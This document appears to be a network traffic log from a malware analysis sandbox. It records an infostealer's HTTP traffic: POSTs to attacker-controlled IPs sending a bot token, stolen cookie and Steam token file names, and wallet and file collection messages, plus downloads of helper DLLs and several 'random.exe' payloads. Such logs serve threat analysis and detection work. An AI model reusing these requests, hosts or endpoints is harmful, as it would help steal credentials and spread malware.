Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEGDBGDBFIJKECBAKFBHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 62 32 39 65 63 64 61 39 32 37 35 32 33 36 64 38 34 38 63 38 33 38 32 64 63 35 31 35 39 36 64 32 64 34 65 66 37 66 62 38 38 33 30 37 34 36 31 39 61 66 62 30 31 34 66 65 36 66 35 31 35 62 32 61 65 63 61 35 32 32 30 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 2d 2d 0d 0a Data Ascii: ------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="token"1b29ecda9275236d848c8382dc51596d2d4ef7fb883074619afb014fe6f515b2aeca5220------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="message"plugins------IJEGDBGDBFIJKECBAKFB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIEBGCBGIDHDGCAKJEBHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 62 32 39 65 63 64 61 39 32 37 35 32 33 36 64 38 34 38 63 38 33 38 32 64 63 35 31 35 39 36 64 32 64 34 65 66 37 66 62 38 38 33 30 37 34 36 31 39 61 66 62 30 31 34 66 65 36 66 35 31 35 62 32 61 65 63 61 35 32 32 30 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 2d 2d 0d 0a Data Ascii: ------IIIEBGCBGIDHDGCAKJEBContent-Disposition: form-data; name="token"1b29ecda9275236d848c8382dc51596d2d4ef7fb883074619afb014fe6f515b2aeca5220------IIIEBGCBGIDHDGCAKJEBContent-Disposition: form-data; name="message"fplugins------IIIEBGCBGIDHDGCAKJEB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIIEHJDBKJKECBFHDGHHost: 185.215.113.206Content-Length: 5971Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDGHJEHJJDAAAKEBGCFCHost: 185.215.113.206Content-Length: 419Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 62 32 39 65 63 64 61 39 32 37 35 32 33 36 64 38 34 38 63 38 33 38 32 64 63 35 31 35 39 36 64 32 64 34 65 66 37 66 62 38 38 33 30 37 34 36 31 39 61 66 62 30 31 34 66 65 36 66 35 31 35 62 32 61 65 63 61 35 32 32 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 2d 2d 0d 0a Data Ascii: ------GDGHJEHJJDAAAKEBGCFCContent-Disposition: form-data; name="token"1b29ecda9275236d848c8382dc51596d2d4ef7fb883074619afb014fe6f515b2aeca5220------GDGHJEHJJDAAAKEBGCFCContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------GDGHJEHJJDAAAKEBGCFCContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------GDGHJEHJJDAAAKEBGCFC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEBAFBGIDHCBFHIECFCHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGDHDHJEBGHJKFIECBGHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 62 32 39 65 63 64 61 39 32 37 35 32 33 36 64 38 34 38 63 38 33 38 32 64 63 35 31 35 39 36 64 32 64 34 65 66 37 66 62 38 38 33 30 37 34 36 31 39 61 66 62 30 31 34 66 65 36 66 35 31 35 62 32 61 65 63 61 35 32 32 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 2d 2d 0d 0a Data Ascii: ------ECGDHDHJEBGHJKFIECBGContent-Disposition: form-data; name="token"1b29ecda9275236d848c8382dc51596d2d4ef7fb883074619afb014fe6f515b2aeca5220------ECGDHDHJEBGHJKFIECBGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECGDHDHJEBGHJKFIECBGContent-Disposition: form-data; name="file"------ECGDHDHJEBGHJKFIECBG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJDGCBGDBKJKFHIECBAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 43 42 47 44 42 4b 4a 4b 46 48 49 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 62 32 39 65 63 64 61 39 32 37 35 32 33 36 64 38 34 38 63 38 33 38 32 64 63 35 31 35 39 36 64 32 64 34 65 66 37 66 62 38 38 33 30 37 34 36 31 39 61 66 62 30 31 34 66 65 36 66 35 31 35 62 32 61 65 63 61 35 32 32 30 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 43 42 47 44 42 4b 4a 4b 46 48 49 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 43 42 47 44 42 4b 4a 4b 46 48 49 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 43 42 47 44 42 4b 4a 4b 46 48 49 45 43 42 41 2d 2d 0d 0a Data Ascii: ------EHJDGCBGDBKJKFHIECBAContent-Disposition: form-data; name="token"1b29ecda9275236d848c8382dc51596d2d4ef7fb883074619afb014fe6f515b2aeca5220------EHJDGCBGDBKJKFHIECBAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHJDGCBGDBKJKFHIECBAContent-Disposition: form-data; name="file"------EHJDGCBGDBKJKFHIECBA--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKKFCBAKKFBGCBFHJDGHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDGIJECGDGCBKECAKFBGHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 62 32 39 65 63 64 61 39 32 37 35 32 33 36 64 38 34 38 63 38 33 38 32 64 63 35 31 35 39 36 64 32 64 34 65 66 37 66 62 38 38 33 30 37 34 36 31 39 61 66 62 30 31 34 66 65 36 66 35 31 35 62 32 61 65 63 61 35 32 32 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 2d 2d 0d 0a Data Ascii: ------GDGIJECGDGCBKECAKFBGContent-Disposition: form-data; name="token"1b29ecda9275236d848c8382dc51596d2d4ef7fb883074619afb014fe6f515b2aeca5220------GDGIJECGDGCBKECAKFBGContent-Disposition: form-data; name="message"wallets------GDGIJECGDGCBKECAKFBG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBGCBGCAFIIECBFIDHIHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 62 32 39 65 63 64 61 39 32 37 35 32 33 36 64 38 34 38 63 38 33 38 32 64 63 35 31 35 39 36 64 32 64 34 65 66 37 66 62 38 38 33 30 37 34 36 31 39 61 66 62 30 31 34 66 65 36 66 35 31 35 62 32 61 65 63 61 35 32 32 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 2d 2d 0d 0a Data Ascii: ------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="token"1b29ecda9275236d848c8382dc51596d2d4ef7fb883074619afb014fe6f515b2aeca5220------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="message"files------ECBGCBGCAFIIECBFIDHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHDBAAFIDGDAAAAAAAAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 62 32 39 65 63 64 61 39 32 37 35 32 33 36 64 38 34 38 63 38 33 38 32 64 63 35 31 35 39 36 64 32 64 34 65 66 37 66 62 38 38 33 30 37 34 36 31 39 61 66 62 30 31 34 66 65 36 66 35 31 35 62 32 61 65 63 61 35 32 32 30 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 2d 2d 0d 0a Data Ascii: ------IEHDBAAFIDGDAAAAAAAAContent-Disposition: form-data; name="token"1b29ecda9275236d848c8382dc51596d2d4ef7fb883074619afb014fe6f515b2aeca5220------IEHDBAAFIDGDAAAAAAAAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IEHDBAAFIDGDAAAAAAAAContent-Disposition: form-data; name="file"------IEHDBAAFIDGDAAAAAAAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIIDAEBGCAAECAKFHIIHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 62 32 39 65 63 64 61 39 32 37 35 32 33 36 64 38 34 38 63 38 33 38 32 64 63 35 31 35 39 36 64 32 64 34 65 66 37 66 62 38 38 33 30 37 34 36 31 39 61 66 62 30 31 34 66 65 36 66 35 31 35 62 32 61 65 63 61 35 32 32 30 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 2d 2d 0d 0a Data Ascii: ------BGIIDAEBGCAAECAKFHIIContent-Disposition: form-data; name="token"1b29ecda9275236d848c8382dc51596d2d4ef7fb883074619afb014fe6f515b2aeca5220------BGIIDAEBGCAAECAKFHIIContent-Disposition: form-data; name="message"ybncbhylepme------BGIIDAEBGCAAECAKFHII--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKJDAAFBKFHIEBFCFBKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 62 32 39 65 63 64 61 39 32 37 35 32 33 36 64 38 34 38 63 38 33 38 32 64 63 35 31 35 39 36 64 32 64 34 65 66 37 66 62 38 38 33 30 37 34 36 31 39 61 66 62 30 31 34 66 65 36 66 35 31 35 62 32 61 65 63 61 35 32 32 30 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 4b 2d 2d 0d 0a Data Ascii: ------DAKJDAAFBKFHIEBFCFBKContent-Disposition: form-data; name="token"1b29ecda9275236d848c8382dc51596d2d4ef7fb883074619afb014fe6f515b2aeca5220------DAKJDAAFBKFHIEBFCFBKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DAKJDAAFBKFHIEBFCFBK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 36 32 45 37 38 42 32 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB62E78B25082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 30 35 37 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010570001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /bugEWhhZIPIipxajeFfO1732855736 HTTP/1.1Host: home.twentykx20pt.topAccept: /Content-Type: application/jsonContent-Length: 459426Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 32 32 38 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 32 39 35 36 33 32 31 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 32 36 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 30 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 35 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 2
Source: global traffic	HTTP traffic detected: GET /bugEWhhZIPIipxajeFfO1732855736?argument=wJ6y2R6839D6WeGM1732956325 HTTP/1.1Host: home.twentykx20pt.topAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 30 35 37 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010571001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 30 35 37 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010572001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
